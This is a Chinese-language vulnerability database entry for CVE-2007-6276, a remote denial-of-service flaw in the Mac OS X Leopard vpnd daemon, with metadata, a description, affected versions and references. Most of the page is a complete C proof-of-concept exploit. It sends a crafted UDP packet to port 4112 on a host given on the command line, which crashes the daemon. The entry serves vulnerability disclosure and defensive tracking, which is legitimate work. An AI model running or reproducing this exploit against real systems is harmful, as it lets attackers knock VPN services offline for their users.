Apple Mac OS X VPND远程拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1114039 漏洞类型 数字错误
发布时间 2007-12-04 更新时间 2008-07-02
CVE编号 CVE-2007-6276 CNNVD-ID CNNVD-200712-066
漏洞平台 OSX CVSS评分 7.8
|漏洞来源
https://www.exploit-db.com/exploits/4690
https://www.securityfocus.com/bid/26699
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200712-066
|漏洞详情
MacOSX是苹果家族机器所使用的操作系统。MacOSX中所使用的虚拟专用网守护程序(vpnd)的accept_connections函数中中存在安全漏洞,远程攻击者可能利用此漏洞导致服务程序崩溃。如果向UDP4112端口发送了畸形报文的话,就可能触发算法异常错误,导致守护程序崩溃。
|漏洞EXP
/* vpnd-leopard-lb-dos.c
 *
 * Copyright (c) 2007 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X 10.5.0 (leopard) vpnd remote DoS POC
 * by mu-b - Fri 9 Nov 2007
 *
 * - Tested on: Apple MACOS X 10.5.0 (leopard) vpnd
 *
 * Program received signal EXC_ARITHMETIC, Arithmetic exception.
 * 0x00004828 in accept_connections ()
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>

#define DEF_PORT      4112
#define PORT_VPND     DEF_PORT

static char abuf[] =
  "\x00\x01\x00\x18"
  "\x00\x00\x00\x00"
  "\xd5\xa5\xf9\xc3"
  "\x00\x00"          /* [edi+0Ch] -> ecx == 0 */
  "\x00\x00\x00\x00"
  "\x00\x00\x00\x00"
  "\x00\x00";

static void zattack (char *host);

static void
zattack (char *host)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int fd, n;

  if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) == -1)
    {
      perror ("socket()");
      exit (EXIT_FAILURE);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      perror ("gethostbyname()");
      exit (EXIT_FAILURE);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_port = htons (PORT_VPND);

  printf ("+Attacking %s:%d\n", host, PORT_VPND);

  n = sendto (fd, abuf, sizeof abuf - 1, 0, (struct sockaddr *) &address, sizeof address);
  if (n != sizeof abuf - 1)
    {
      fprintf (stderr, "zattack: sendto %d != %d\n", n, sizeof abuf - 1);
      exit (EXIT_FAILURE);
    }

  close (fd);
}

int
main (int argc, char **argv)
{
  printf ("Apple MACOS X 10.5.0 (leopard) vpnd remote DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <host>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  zattack (argv[1]);

  printf ("+Wh00t!\n");

  return (EXIT_SUCCESS);
}

// milw0rm.com [2007-12-04]
|受影响的产品
Apple Mac OS X Server 10.5.3 Apple Mac OS X Server 10.5.2 Apple Mac OS X Server 10.5.1 Apple Mac OS X Server 10.5 Apple Mac OS X 10.5.3 Apple Mac OS X 10.5.2
|参考资料

来源:XF
名称:macos-vpnd-dos(38855)
链接:http://xforce.iss.net/xforce/xfdb/38855
来源:SECTRACK
名称:1019052
链接:http://www.securitytracker.com/id?1019052
来源:BID
名称:26699
链接:http://www.securityfocus.com/bid/26699
来源:MILW0RM
名称:4690
链接:http://www.milw0rm.com/exploits/4690
来源:VUPEN
名称:ADV-2008-1981
链接:http://www.frsirt.com/english/advisories/2008/1981/references
来源:VUPEN
名称:ADV-2007-4145
链接:http://www.frsirt.com/english/advisories/2007/4145
来源:support.apple.com
链接:http://support.apple.com/kb/HT2163
来源:SECUNIA
名称:30802
链接:http://secunia.com/advisories/30802
来源:SECUNIA
名称:27938
链接:http://secunia.com/advisories/27938
来源:APPLE
名称:APPLE-SA-2008-06-30
链接:http://lists.apple.com/archives/security-announce/2008//Jun/msg00002.html
来源:NSFOCUS
名称:11252
链接:http://www.nsfocus.net/vulndb/11252